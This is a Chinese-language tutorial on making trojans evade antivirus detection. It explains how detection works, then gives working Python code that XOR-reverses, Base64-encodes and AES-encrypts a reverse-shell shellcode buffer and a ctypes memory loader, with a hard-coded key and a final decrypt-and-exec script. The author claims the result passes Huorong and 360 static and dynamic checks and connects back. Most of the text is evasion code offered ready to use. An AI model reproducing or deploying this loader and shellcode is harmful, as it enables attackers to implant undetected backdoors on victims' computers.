木马免杀原理与代码实现

木马免杀原理与代码实现

一、什么是免杀
1、免杀的概念

免杀技术全称为反杀毒技术(Anti Anti- Virus),简称“免杀”。

它指的是一种能使病毒木马免于被杀毒软件查杀的技术。由于免杀技术的涉猎面非常广,包含反汇编、逆向工程、系统漏洞等技术,所以难度比较高。

2、杀软的原理

病毒查杀一般可以分为三种方式:静态查杀、行为查杀和云查杀

(1)静态查杀:一般根据特征码识别,然后对文件进行特征匹配。

(2)行为查杀(动态查杀):主要是对其产生的行为进行检测。

(3)云查杀:提取出文件的特征和上传云端,云端进行检测后返回客户端,对对应病毒进行查杀。

3、杀软查杀流程

对于我们的shellcode要实现免杀,下图是基本的测试流程图

image-20230316153156547

4、免杀的方法

(1)对ShellCode进行加密处理,如异或、转置、AES加密、Base64编码、多轮加密等。

(2)对加载器代码进行加密或编码处理,使其静态特征不再明显。

(3)分离免杀,将ShellCode和加载器代码放置于网络上,通过下载的方式进行加载,可进一步免除静态特征。

(4)通过进程注入或借助傀儡进程进行加载和运行。

(5)通过加壳的方式对木马进行混淆,进而绕过杀软。

通过静态特征绕过杀软检测相对比较容易,但是要绕过沙箱或动态检测,则非常难。

二、利用异或和变形加密ShellCode
1、异或加密

异或运算是最为简单的加密方式,异或运算根据二进制位进行按位运算,如果对应位相同,则为0,不同则为1。并且同时遵守以下规则:如果 a ^ b = c,则可以将 b 视为秘钥,c 视为加密字符串,则 b ^ c = a,可根据秘钥 b 和 密文 c,解密出 a 的值。

And 运算:1 and 1 = 1,  1 and 0 = 0, 0 and 0 = 0
Or  运算:1 or 1 = 1, 1 or 0 = 1, 0 or 0 = 0
Xor 运算:1 xor 1 = 0, 1 xor 0 = 1, 0 xor 0 = 0

如  1234 ^ 56 = 1258,
运算规则如下:
先将 1234 转换为二进制为:0100 1101 0010  
再将 56 转换为二进制为:0011 1000,不足 12位,前面加0,
再进行运算:
0100 1101 0010
0000 0011 1000
--------------
0100 1110 1010 = 1258
2、字符串反转

在Python中,对一个字符串进行反转,使用str[::-1]即可。

如果 str = 'abcdefg',则 str[::-1] = 'gfedcba'
3、将字节类型转换为字符串

由于Python的ShellCode为b’’的字节类型(也可以视为二进制类型),而要进行加密或反转处理,只能针对字符串进行处理,所以还需要对将字节类型数据转换为字符串。可以利用Python内置的binascii模块进行处理。

b2a_hex() 是将二进制字节流数据转换为字符串字节流数据

可以这样记忆:

b 代表 二进制

2 就是 two 也叫 to

a 就是 字符串数组

b to a

二进制数据 to 字符串数组

import binascii

buf = b"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b"
str = binascii.b2a_hex(buf).decode()
print(str)
5、对异或输出结果进行变形
reverse = 'abcdefghijk'
encrypt = ''
for c in reverse:    
    temp = ord(c) ^ 73    
    encrypt += str(temp) + '-'
    print(encrypt[0:-1])

#输出结果为:40-43-42-45-44-47-46-33-32-35-34

此类变形可以有多种方式,并不局限于上述变形,也可以任意定义,或者将其输出为Base64编码。

6、完整ShellCode的加密和变形过程
buf = b"\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2"   # 略

# 将上述字节型数据转换为字符串
source = binascii.b2a_hex(buf).decode()

# 对字符串进行反转
reverse = source[::-1]

# 将上述字符串进行异或加密
encrypt = ''
for c in reverse:    
    #temp = ord(c) ^ 73      # 将每一个字符转换成ASCII码再进行异或加密    
    #encrypt += chr(temp)
    #print(encrypt)                # 此时的输出,极有可能出现乱码,所以可以将其变形
    # 进行异或加密后将ASCII直接输出,并用短线分隔
    encrypt = ''
    for c in reverse:    
        temp = ord(c) ^ 73    
        encrypt += str(temp) + '-'
        codestr = encrypt[0:-1]
        print(codestr)
7、最终的木马生成代码:
# 将这些输出结果作为源字符串输入, 木马程序只需要解密即可
codestr = '124-45-47-47-127-124-123-40-124-43-121-47-123-42-126-42-112-125-112-124-121'  # 略

# 通过短线进行分隔,提取出ASCII码,并转换为字符
list = codestr.split('-')
reverse = ''
for n in list:    
    c = chr(int(n) ^ 73)    # 得到异或运算后的解密字符    
    reverse += c
    source = reverse[::-1]       # 得到字符串后进行反转,得到原始ShellCode字符串
    shellcode = binascii.a2b_hex(source)
    
    #加载器代码
    ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
    rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40)
    ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
    handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
    ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
三、 对加载器代码进行加密和编码
1、将加载器代码进行Base64编码
loader = '''ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40)ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)ctypes.windll.kernel32.WaitForSingleObject(handle, -1)'''
b64str = base64.b64encode(loader.encode())
print(b64str.decode())
2、将Bae64编码进行AES加密
source = b64str.decode()
if len(source.encode('utf-8')) % 16:    
    add = 16 - (len(source.encode('utf-8')) % 16)
else:    
    add = 0
source = source + ('\0' * add)
print(source)

key = 'todayiswonderful-FEDCBA987654321'.encode()
mode = AES.MODE_CBC
iv = b'1234567890ABCDEF'
cryptos = AES.new(key, mode, iv)
cipher = cryptos.encrypt(source.encode())
print(cipher)
print(binascii.b2a_hex(cipher).decode())
四、对ShellCode和加载器进行解密运行
import binascii
import ctypes
import base64
from Crypto.Cipher import AES
# 将些输出结果作为源字符串输入, 木马程序只需要解密即可
codestr = '124-45-47-47-127-124-123-40-124-43-121-47-123-42-126-42-112-125-112-124-121-121-40'

# 通过短线进行分隔,提取出ASCII码,并转换为字符
list = codestr.split('-')
reverse = ''
for n in list:    
    c = chr(int(n) ^ 73)    # 得到异或运算后的解密字符    
    reverse += c
    source = reverse[::-1]       # 得到字符串后进行反转,得到原始ShellCode字符串
    shellcode = binascii.a2b_hex(source)
    
    # 解密加载器
    source = '3e4a66b7d1fd195638c5f056323f6c257f1cf7526c150149ac7a50a3fbb08171d9dd6176ba8dd69ba885a84a'
    key = 'todayiswonderful-FEDCBA987654321'.encode()
    mode = AES.MODE_CBC
    iv = b'1234567890ABCDEF'
    cryptos = AES.new(key, mode, iv)
    dest = cryptos.decrypt(binascii.a2b_hex(source))
    b64str = dest.decode().rstrip('\0')
    # Base64还原加载器代码
    loader = base64.b64decode(b64str).decode()
    # 执行代码
    exec(loader)

经实验,上述木马可过火绒和360的静态和动态特征,木马可以正常上线。

本机最终的加密代码

import binascii,base64
from Crypto.Cipher import AES

#对shellcode进行加密
#先将shellcode由二进制字节流数据转变为字符串
buf =  b""
buf += b"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51"
buf += b"\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52"
buf += b"\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x0f\xb7"
buf += b"\x4a\x4a\x48\x8b\x72\x50\x4d\x31\xc9\x48\x31\xc0"
buf += b"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
buf += b"\x01\xc1\xe2\xed\x52\x48\x8b\x52\x20\x8b\x42\x3c"
buf += b"\x41\x51\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f"
buf += b"\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48"
buf += b"\x85\xc0\x74\x67\x48\x01\xd0\x8b\x48\x18\x44\x8b"
buf += b"\x40\x20\x50\x49\x01\xd0\xe3\x56\x4d\x31\xc9\x48"
buf += b"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x48\x31\xc0"
buf += b"\x41\xc1\xc9\x0d\xac\x41\x01\xc1\x38\xe0\x75\xf1"
buf += b"\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44"
buf += b"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
buf += b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x41\x58"
buf += b"\x48\x01\xd0\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
buf += b"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
buf += b"\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff\xff\x5d\x49"
buf += b"\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49"
buf += b"\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5"
buf += b"\x49\xbc\x02\x00\x1a\x0a\xc0\xa8\xe6\x80\x41\x54"
buf += b"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07"
buf += b"\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41"
buf += b"\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x41\x5e\x50"
buf += b"\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89"
buf += b"\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf"
buf += b"\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89"
buf += b"\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5"
buf += b"\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00"
buf += b"\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9"
buf += b"\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8"
buf += b"\x5f\xff\xd5\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20"
buf += b"\x5e\x89\xf6\x6a\x40\x41\x59\x68\x00\x10\x00\x00"
buf += b"\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba\x58\xa4"
buf += b"\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
buf += b"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba"
buf += b"\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58"
buf += b"\x41\x57\x59\x68\x00\x40\x00\x00\x41\x58\x6a\x00"
buf += b"\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5\x57\x59\x41"
buf += b"\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c"
buf += b"\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6"
buf += b"\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2"
buf += b"\xf0\xb5\xa2\x56\xff\xd5"

strbuf = binascii.b2a_hex(buf).decode()
strbuf = strbuf[::-1]
# print(strbuf)

#再利用异或操作将字符串型shellcode转变为数字型shellcode并利用标识符将每一个数字分隔开,代表的是每一个字符,方便将字符串变回二进制字节流shellcode
strnumbuf = ''
for c in strbuf:
    temp = ord(c) ^ 73
    strnumbuf += str(temp) + '_'
strnumbuf = strnumbuf[0:-1]
# print(strnumbuf)

#得到数字型shellcode后,对整个进行base64编码
b64buf = base64.b64encode(strnumbuf.encode())
# print(b64buf)

#再对base64编码后的shellcode进行AES加密,得到最终加密的shellcode
if len(b64buf) % 16:
    add = 16 - (len(b64buf) % 16)
else:
    add = 0
b64buf += (b'\0' * add)
# print(b64buf)
key = 'todayiswonderful-FEDCBA987654321'.encode()  #key 密钥的长度必须是 16 的倍数
mode = AES.MODE_CBC
iv = b'1234567890ABCDEF'
cryptos = AES.new(key, mode, iv)  # iv 偏移量的长度也必须是 16 的倍数
cipherbuf = cryptos.encrypt(b64buf)  # 二进制字节流数据
# print(cipherbuf)

#对加载器进行加密
#加载器代码在加密过程中本质是一段字符串,可以先base64编码,可以使用 '''  ''' 来做字符串,也可以用 ; 分割每一行代码,然后后 '' 直接作为字符串
plainloader = '''ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(buf), 0x3000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(buf), len(buf))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
'''
b64loader = base64.b64encode(plainloader.encode())
# print(b64loader)

#然后再AES加密
if len(b64loader) % 16:
    add = 16 - (len(b64loader) % 16)
else:
    add = 0
b64loader += (b'\0' * add)
cipherloader = cryptos.encrypt(b64loader)
# print(cipherloader)

#当然,完全可以对上述加密操作循环执行

本机最终的解密运行代码

import binascii,base64,ctypes
from Crypto.Cipher import AES

#shellcode密文
cipherbuf = b'\x10\x02FCFj\xcc\x85u\x86R\xb7n7\xed\x0c@f\xe9l\xf0\xc5\xd2\x8aL\x1eg\x19\x05\x88\x94\x073+2~\xbboZ\x00\x86\x80\\f;C\x11S9\x8c\xf25\x8btwL\xa5\x9d\xc176\x886\xd1Q\\\x1dRkx\xf3\xbe\xb1\x84)\x03Tf\xd3\x1b\xaa\xaa\xed\xe4\xc7}\x07\xfa\xc2.N)\xb6t9\xe2QV\x8e\x82?A\x89\xecJ\xba\x9f\xd3W\xe9t(\xcdg\x1f\xa5{\x00\x98,\x91Vv2\x04n\x11\\q\x97\xe7U\x8d\xf2w\xd9\xa7\x9b\x15\x18\x14C\xf5\xd9\x9fd\xad\x1b3=\xf9}\xcc\xbb\x8c\x98\x95\xd9\x0c\xf5\xa8\xf4\xf6\xcf\xc8w\x9e\xec\x1b\x0eyBa\x96\xdb\xc0\xad\xdf\x96\xf8\xda\xa2\xdcM\x88\x06\xd8\xc6\xe2k\xdd\x8f\xed\xd1U\xcb\x1bg\xd4\xa9\n\xaf\x08d5E\x9c\xef1O\xf2\xa6\x0b\xd7\x8c\xcd\x8b\xac\xa0\xa2\xf7\xa7\xe9\xb6"\xf6\x1d\x0cy\xaf\xf7\x95\x9a\x8c\x06-\xd1\x06\xcb\xa6L*5\xc36\x1d\xa44\xa7\xd6\xf2\x98*\'3r\xa1\x0fJ\xf4K\xaa\xa2\x97\xcc\xf3\x9c\n&B-=8]\xb9N@F\xe9\x12\xef\xfan\xbb:\xd8\xcbR\xb1\xfa\xbf{\xbc5\xce\xc3\xd0C\x8aj\x92w\xa2K\xb2\x16wPr(\xff @r\xa2t\x80L\xea\x84#Q\x8c\xd0N+\x9aU\xd4D\xd0F\xfb\xfa\x94\x7f\x80P6R\xf6N\xae\xb2\xaaUD\xa1\xd8\xd9\xd5D*T0]A\xd7\'\xcb\x9ew\xe1v\xb6\xccq\x9e\xe0\xe6\x0eB\xa1\xd8\x17\xa6\xbf4\x9f~\xe8\x0e_\r\xc4\xf5h\x05\xa1\xe4\x15\x99\xec\xbaw\x07\xa9\xab\x7f\xcc\xb6`\x9b\xfb\xc3yj\xca<\x8d)\xf7\x14@\xbf\xe1\xf4|\xa8\x94\xf2J\xde\xfd\x97\xa6R\xc7\xef\xd5\x02\xf0\x1c\x9f&Jg\xa1\x06fIPo\xe6nv\xe3\xb7K\\I+\xe0\x10\x9e\xee+\xea\xdc\xe1\x94\x7f\x8d\xfd\x85\xea\xe7\x92g\x1cp\xc1O1\xb4iR\xc6\xff \xd5a\xc5\xcb\x8e1\xf9o\xf0/\x1a\\\x06q8\xb32\xdaB\x9e\xda\x0e0A\r*7\xc93\x98\x80\xd7\x96\xc7lP/\xb2\xf5\x03p0\x95\xa5\xa6-\xb7a\xfbt\xb0\x8aX`"sdM\x909\x18]\xd6Z\x11\xc8\xc4\xe5>\xcd\xb0\x06\xfdL\xb5\xc0\x88\x9f\xfb\xfe\x8f\xc5\xd8\xc6)-\x06k\x14\x02\x9fc\x84\x0e\xd11\xe5\xd6\x95s\xae0\xc7\xaa\xcbDYEir\xe1@\xb0\xf0F\x89d\x92\xde\xa3\xb6\x04\xd1\xe8\xc8\x8az>\xb8\xa3\x99B\xab\xb8\n\xac\xb3\xb2\x04\x03\xf3|[\xb0O\xe5\xdb\xed\xb2km\xd0\xd7\x90\xcd\xdcT6\xfd\xe6FS]\xa9\xe0-;\xfa\xe5\x93Mq\xd1\x96Mg\x02w/\x8b\x05\xdd\x91\x01\xc5\xd8K\x86\x8a]\x11\xeb\xd6\xc9\x11M\x91y3\xe3\xdd\xde\xe1\x19>?S\xa7\xa2\xfa\t\xbfJb\x93\'\x9eF\x1aE\x89\n2\x8f7v\xba\xcd\x86\xc7\x07K\xb7j\xc3\x94\x85\xdaA\x03z)M\xd0\x15\xc6\x97S\x91sl\xec\xc1h\xe1v\xf8\xa7K\x94\x1f%\t\x94<\x94N(R\xd8u\x8a\xfb\xe9\xb6%=\'&\x87\xa4\xdbfK\xc3ys\xa7\x19\x97\xd8kluQ/I~3\x99\xdb\x11\xf5W\x80\x97\xfemW\xfc\xe7\xe6\xebV\xb2\x92\x8a\xe6\x82W\x07\xf8\x1d\x03\x84\xd9\xe3\t\x83\xc3~\x8d\xc04\xdebG\x9e\x94|\x1a]/Xso.\xf5\xf3\x00\xb8\xea\xbc\xc5\xc3\xb3\x88\xd9.+Wb(\xd6\xd9\xf8\xde\x13\xbd\xc0\xc7\xd4\x0c\x82Q\xacU\xd0NX\x8b\xa1\xf2\xb0\xe3\x00\xbb\x1dX\xa6\x15pv\xad5I[\xf5X\xb4\x1aW\x97\x81\x17\x03\xdf?9\xf5\xe3\x8e\x9bxh\xae\x7f\xef[PYQ\x06FF;\xfb\xa3\x91\x1c\xa5e(\xce\x050\xd5\x85JC\xff\x9b\x95A9\xa4&@oo\r\x13\xa8\xac;6\x02BG\'/\x0f\xe8\x0b\x9c\x92r\x9f\xb2\xe2\xbd7\x9f\xf1\x1d\x023\r\xf8d*T;\xe2L\n\xd80\x1d\'\xc9\x9d)^D\xd7\x17\x1e\xee\x8cH\xc8ui]\xc3\xe3\xf4W\xd9\x8dR\xb6\xe7\'\x9d\x8c\x92R\x8bHr\xe0\xd8`y\x8d\xf7\xd3\xa5i\x1e9A\x9f\xb2{.%\xb8g\x1d\xcd\xc3+S{\x08,b#\x92\x94\xc2S\xa6\'\x83\xc7\xa8\'\x9eu\xbf\xea\xf6\xd0\xde\x8a\xaa\x81\x1a\xff\xc4\xb2\x1a\xb0\xd1\xaf\x1f\x05T\xaf\xcc\x17F\x04\xd8\xf9\x9c1n\xa0\xa9e"\xac\x0e\'\x88\x901q\x8c\xb8Y\x86H\xee\xe5\x12\x15g\xcbTE\xd1\t\xf3\xd6\x8ckM\xe3\x8c\xb0\x0f\xadzk\xd2\x00pz\xf4\xcd4!\x1au,Y~\xff\xc4P\xee<\xb4gV\xb4\xa7\xe9\xfe\x8a`c\xdf\xf1\xef\xae\x10j@\x9e|\xcc\x11%S\xa9\xa4\x9c\xedz\xcek\x97 \xab\x9b\xe7\x86\xad\xef4\x97\x0b+k\xdc\xa3\x14A\xc4DL\xe6\x8e\xd8-lX\x07\x81\x17}&\xa2O\xdfw\x8fy\xf0\x1e\xe54Q\x8c~\x1c\x1dM\xd1\xe9\xf0\x13K\x1bofP\tPv(\xcf\x89?\x0ei\xe4\x01\xda\xd6\x9a\x85z\xf3_\x94\xd4\x83v\nf\xbd\x1d~w\xc9\xf4\xd1R\xd3\xe2\xab\xfd2\xd2\xba\x18rbKi+\x1a/\xf9GGVXd\x97\x14:\xae\xd3rL\xb3\x03H\x8e\x83\xcc8\xc7\x8d!/\r\xb8\xfa\xa3\xd6 \xcbP\xe1\t\xda\xa7\xc5\x14\x1amc\xd9\xba\x06v\xae\xb2\xa5\xcd\xb6\x03!\xd8\xc1\x99\xc6\x88W8\xde\xc6\x15x\xc7,f\x06\xc5\xea\xaf]\x90\xba#\x931\x04\xbbm\xf7<;\x19\xc5\x80\x8e\xd10\x98\x91IhY\xf7\xa2\xcb\xa8\xa8Pi\xbb\xae\xbcB#\xf6\xceh\xdbc\x1a\xd7%\xdc\x02\xff\xc0\xaa\xa5\t\xea\x82\x12\x94*\xc3\xfa\xe6\x15f\xfaA\xe6\xa7\xdd\xdd1)q7\xbb"m\xdcp\xc8\x0f\xb1\xba\\\x0bW.\xb9Z\xee\x843\x87b\x8a\xf4NB\x7f\xf4\xaf_K-\x1b+OO\xe4\x8b\xb2t\x8e\xa3\xdb%\x8e\xac\xc3E\x92\xc2\xb5x<\x00Q\xd2\xbe\xa2\xc7\xfb\x93[,o\x0c\xb4\xe6\xb3\x01\x13\xfct\xa1).Tw\xf2\x9e\x9e>B\x06\xd1\xa1\xd9$\xedt\xc0\x9c\xa0> \xdb8{H\x13\xb3)+\x16V\xdc,9\x85t\x02i\x9bl\x9e0\xd5o\x87\xf9vVa\xa1\xb0\xee8\xe4\x80a\x9d"\xef\xbf\x9a:\xb1\xffF\xac\xc2\xc6~m\x01\xb3f\xbf\xa1A\x08\x1c\xf9\xb2\xf03\xac\x14q\x1b\xd0\xb0\x1fX\x0e\xf5J\x99r\xf6\x96\xd9iO\xd7\xdd\xbcyD\xfczk \x8c\xbc\xd8\x98\x89\x00\x84\xadC\x80\x92\x14\xef\xc6o\x8a\xb1+\x84i\xd4e#:\x8a\xa0\xa4\xe3(w\xcb\xee\x94\xd7\x8e\x863\xfe\x89?\x83\x0b\xa0\x0b\xedA\x12eP\xa6\xb3G$\xf5\x80\xc6\x98G\xc6\xdc\t\x82\xc6\x07[\x00\x9c9\x87\xd5\x86\xc4\xd0\xd3\xa5A\x08\xe8\x7f\xfe\xd7\xbf\xc3\xbe\xa6q\xa7\x80X\xa5\xa8wu\x8c\x05{XS\xcf\xe4%\xc1\x7f\xa5\xca\x98\xe2\xb5\xa5\'1\x06\xf2\xc8#\xc4\xbbyT\x86c\xa2$\xefrK\x88\xb3fS\xfa\xcd\xd1\xe7CT\x86\x8d\xf2$\xf9\xa5\xa9lt3\xee\x8c\xf2Z\x97\xe4J\xdf\x8e\x86\xc7\x8bQ\xbb\xe6\xc3\xd3\x11U\rcWi\x87eep\xdf\xca\xbe[\xa4\xac\xaa2"\x00\x08FK\xd1\x1d\x92k-\xde\x82u\xcc,y\xaf\xcc\x02\xa4\x87\xd1\xdc\xa2\x97sa\xedJ\x93(q\xef\x7fzz\xe7\xfaBV\xc8\xc2\xe0\x95\xf8\x1c\xcb\xb8\xf4Tw++\x89\xbd\xef\x03\xa95\xbcfE\xc8\xe9n\x9b)\xb6\xb4s\xd5`\x94h\xd2/E1z-\xb6v\x9a\xf0q\xb1\xee\xf3\xea\xafi\x84E\xd3\xa2\xff\xae?\'\xa1\xc4\xef\xbd\xcb\x9e\x88\x92\x119\xf9zK\n\x9aUy\xdfE?7\xc4\xd5\xb4o\xc1T\x88\xdc\xd6\xff\xe3H\xf9\x0f\x13\x1dl\xfd\xc24:-\xe5V\xf4\xc8F\x9dB\x83\x08`\xceL\x90|p\xf8JDM\r\xc2N\x1a\xc1hHV\x8d\xcf\x07\xa6\xa8\xec\xc0\xadl\xe5\xb1\\jH\xfe=\xc0\xe0\x99\xe7%\xf2\xda\x8b\x8f\x97\x9fd6\x1a\x9d\xd0z\x15\xebl\xa4\x9cC\x17\x9f\xe6\xf3\x08\xce\xe5oi<[\xec\x85v\x18\xec\x93\xa9\x8e\xf9\x9d\xb6$\tt\x19i\xbd\xe7)C\x08k\x15\xae\x06?Q\xfaD\xbd\xc7\x15\x15\xc0\x91Q\xdb*\x02G\x91\x7f\xe9\xf6N\xd4\xf2~\xaf\x8d\xa9{\xd8\xfa\xc1\xdd\x88\x17\x1e\xe1\x97D\x85\xdd\xa3\x8f~\x88<}\xbe\xe7\t\xbd\xc0\xcb]\x9a\x88/\x0c\x08j\xd2\xd4+\xa42\xff\xf4t\x16\xbfo\xcc\xf8\x1b\xc4\n\x84\xe0`]\xb9\x08440]S\x7f\x1e\xc3\x1c\x8b\x8c\x1f\xfa\xf3\x13\x86\x99\x19&\xd1#\x18\xa7\x0f5\xc6\x934\xa6\x9a\xc3.\xd8\xf2\x8c\x13\xc7\xab\xc1=q\xbb\xf4\xcb\xbaAn\xf3s\x06\xa1B\x94\xc6\xe7\xb3\xc6\xf4\x95\x88\xbf\xc2\x92\x02\xf8\x99\xb6\x07\xfc0?\x9a>QX\xb5\xe7""c1\xc1\x82gh^\xed\xeb\xab\x9a\x00=H\xba%G\x00\xd3v\xfcaC\xf7\x9dm\x92\xc4A\xe1\xb5\xedH\n\x7f2%u5AC\xe5-}\x04%\xcc(x\xe1\n\xbd\xf6h]\xdf\x14y\xff\xc9\xc0_^\x9a\x13\x8e\xff8\x1a\xd5\xbd\x7f\xe8\x90T\x8d<\xea\x8dOP\xcfF\x83\x9drD\xafJ\x80i\xf8\xaf\xfb\xaf|\x1d\xdc\xd2\xcam\xe1\x06\xec7\xea\xc4\x97i\xd7\xd2\xaf\x9ci\x05\xcc\xc2z\x03G\x05B<\x91Eys#K\xb7\x95u\xd7}\x17/\x1d\xa7\xdc\x9a\x8ew\xa2Nf\xdfj\xe1\xc3c\xf88\xbd\xb4\xa0\xc1\x8f%\xceB9\x08\xde11\xe6\xedq\xad&\xa8MH]\xe2\xbd\xfd\x9cY\xf9\xe1\xcf\xeb\xd4\x06\x07*\xd5\xf1\x16\xf4`\xda\xfa\xaf\x8b\xf2mv\xf7\xc3\x8d\xd7C\xf0+\x98k\xd7\x83~\x81@\xa42\xa7J\xdb7 \xcf\xb2\x9c\x0e\xac\x92\xf8\xe8M"\x9a\xd6\x97\xb1\x81\x9aI\x14h\x88_\x01qb\x95\x80\xa8\xcf>\xa4\xd4\xcdc\xb9\xffI0\x0f\x00\x0fdq8\xb4\xfb\x9f\xfdp\xb9f\xe3\xee\x90\xc4<J\x12\xdef\xf6\xe5\xe4q&0\x84a\x9e\xcd\x9eL\xe1 $\xf1\x82_w\xfdg\xcb\xa6\x85i\x8c\xd5\xa1;\x86\xdeH\xbc\xd1\x9f\xae\xac\xc8\x8c\x06\x02%\xff\xf5\\r\xc4\xe0\xf2\x10Z\xa2\xa3\xef\x0e\x127Z\xbbtr\xc7\x0ekq\xab\xd4\x91o\xd7\xa5\xdd\xe2x\xd0\x952R\xf5\xc7[\xe8\xe3\x92\xd3\xd0\x03\xca\xee\x81c\xc8\x94\x8a\xd6\xd7\xbe\xa9 \x1d\xe7V5{\x0b\xf4\xcc\xa2]sgk{\x12>\xc4\x00\xa9\xed\xb2*[5v\xa8\xbb\xa7H\x980\xb3\xeb\xf0\x96\xe3\xf3Q\xfa \xces\x95Q-\xd4\xbb\xef\xdcqp\xa4\xd0\x9f\xbcT\xb8-\x98\xae\xc4\xfa\x8c}\xd9\x17\x10\xd9A\xb2j<q4\xb5\x9d\xb4Q3cD:[4\xfaq\x93\x83]MP\x1a\xd8\xb3\xb6\xe8\x13\xf2\x9e\x9b\xc7\xbc\xc6\xf3\xf4\x1d$*\x02\xae\x92\xbe\xe8\xf5\xe3`A\x92\xe3V\xcd\xaa\x90\xf7\x1e\x07\x0b\xde\x8c\xd8\xaa\xe3qGV\x92\xd7O\xb2\x1a{~P\x12}\xa4\x91{\xdc\xd8k\xbd\xa7\xbc\xaa\x08\xd2\xdc\xd1\xde\x0bf{\xdeY\x07~\xefvM[\xd9\xadRM{m\xad\xb9\x98\xeb\xdd\xae\xb7\xe5\xe7p/\x9e\xf1G\x01\x04\xcckVQ\xff\xb1\x95\x0f:\x13\xd5|[\xd2\xd9\x0eiR.\xc1\x1e\xfe\x9a\xc9Q\xc2\xb1\xf2\x1a\xf2|\x17\x9b\nH\x01;K\xdf\x83=$\x9e2\xf7\x97\xacd\xe8\xa1\xf9\xc3\xefS\xf3Z\xa7\x07\xa9\xadq\x19\xb9\xe4\xc7:\xa6b\xfah\xafB\xba4\xefYI|\xbf\xef~\xcc5\xc4\xf2\x0e\x8d\xe6N\xa7\xf4\x93\xd8\x89>\xbfIi\xe5|KI\xb2\xa9iS\xe3\xa1\x9e\xf6\x004\xf7W\xbc\xe32\xfbH/\xc8a\x01\xd6+E3i\xe7\x19i\xa9\xa7\x1a<\x18\x7fDUZf^B[\xb0\xcb9\xa9p-\x0f\x04\xad\xd2\xac \xe9\xc2\xc0\xca\xf3\x0c\x83\xe5t\x02\xbbY\xa9\xaf\xa8\xd4+\xf3\x1e\x01\xd9R\xae\xa4<\xe0\xbb2\xd4%\x0f\x16\xcc\xd9\xae\xab\x95\x93\xeb\\0\xab\x93\xb4\xef\xadt G\xb3\x93W\x05b|\x01Ch*\xb4\xad\xe7U6f)&>\xa8\x1eOV\x19>\xe2\xef\xe88m\x8f\xb9u\xa1\x8fX\xe5\x1b\x11\xb0\xb7\xbb\xde\x8bl\xf0\xe9\xd8\xf0\xae~!\xe0$\xd1\xd6\xf6\x89\xb1\x8a\x88\xf9m\x8b\x0b\xe6\xc64\x05n\x02\xec\xeeS7\xbe{\xd9\xcf|wm\xc5\xcc_jJ\xfd\xd0\x06\xff\xc5\xf5E\xc6[\\R\xfa*U\x88 